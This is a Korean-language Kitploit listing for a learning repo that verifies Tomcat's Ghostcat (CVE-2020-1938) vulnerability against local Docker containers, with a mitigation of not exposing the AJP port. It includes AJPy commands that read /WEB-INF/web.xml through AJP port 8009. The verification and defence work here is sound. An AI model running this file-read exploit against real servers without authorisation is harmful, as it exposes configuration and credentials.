Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ghostcat-verification — Ghostcat(CVE-2020-1938)에 취약한지 확인하는 방법에 대한 학습 내용 | Kitploit
도구/GitHubGitHub/shaunmclernon/ghostcat-verification
Vulnerability AnalysisExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubshaunmclernon/ghostcat-verification

ghostcat-verification

Ghostcat(CVE-2020-1938)에 취약한지 확인하는 방법에 대한 학습 내용

저장소 보기
116년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Ghostcat 검증 (CVE-2020-1938)

요약

Ghostcat이라는 새로운 익스플로잇이 발견되었습니다 CVE-2020-1938. 익스플로잇 자체에 대한 자세한 내용과 분석은 snyk 및 tenable의 문서를 참조하십시오.

제 경우에는 어떤 Tomcat 서버가 취약한지, 취약하다면 그것이 어떻게 나타나는지 확인하고 싶었습니다. 그래서 이 실험은 Tomcat 7, 8, 9를 확인하는 것입니다.

사전 요구 사항

  • docker
  • python
  • git

Tomcat 7에서 CVE-2020-1938을 사용하여 파일 읽기

TODO: Tomcat 7이 취약한지 어떻게 확인합니까?

Tomcat 8에서 CVE-2020-1938을 사용하여 파일 읽기

라이브 서버에서 익스플로잇을 테스트하는 대신 기존 Tomcat 빌드를 사용하여 AJP 커넥터와 통신하기 위해 AJP 요청을 생성하는 AJPy를 사용하여 실험을 수행합니다.

root@kitploit:~
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

web.xml을 반환하면 이 Tomcat 버전은 해당 익스플로잇에 취약합니다.

최신 버전의 Tomcat 8.5로 동일한 테스트를 시도하면 이 특정 오류에는 취약하지 않음을 알 수 있습니다.

root@kitploit:~
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

이 경우 python 오류가 발생해야 하며, 이는 실제로 서버가 취약하지 않음을 의미합니다.

root@kitploit:~
Traceback (most recent call last):
  File "tomcat.py", line 377, in <module>
    hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
    ...
    ...
struct.error: unpack requires a buffer of 5 bytes

Tomcat 9에서 CVE-2020-1938을 사용하여 파일 읽기

TODO: Tomcat 9이 취약한지 어떻게 확인합니까?

Springboot

TODO: springboot 서비스가 취약한지 어떻게 확인합니까?

완화 방법

당연히 취약하다면(버전과 관계없이) 패치된 버전으로 업그레이드하는 것을 고려해야 합니다. 또 다른 옵션은 AJP 포트에 대한 접근을 차단하는 것입니다.

동일한 Tomcat 버전을 시작하되 AJP 포트 8009를 노출하지 마십시오.

root@kitploit:~
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

이 경우 서버 익스플로잇에 실패하는 것을 확인할 수 있습니다.

고지 사항

저는 보안 전문가가 아니며 이 저장소는 학습 목적으로 만들어졌습니다. 악의적인 목적으로 사용하려는 의도는 아닙니다.

도구 다운로드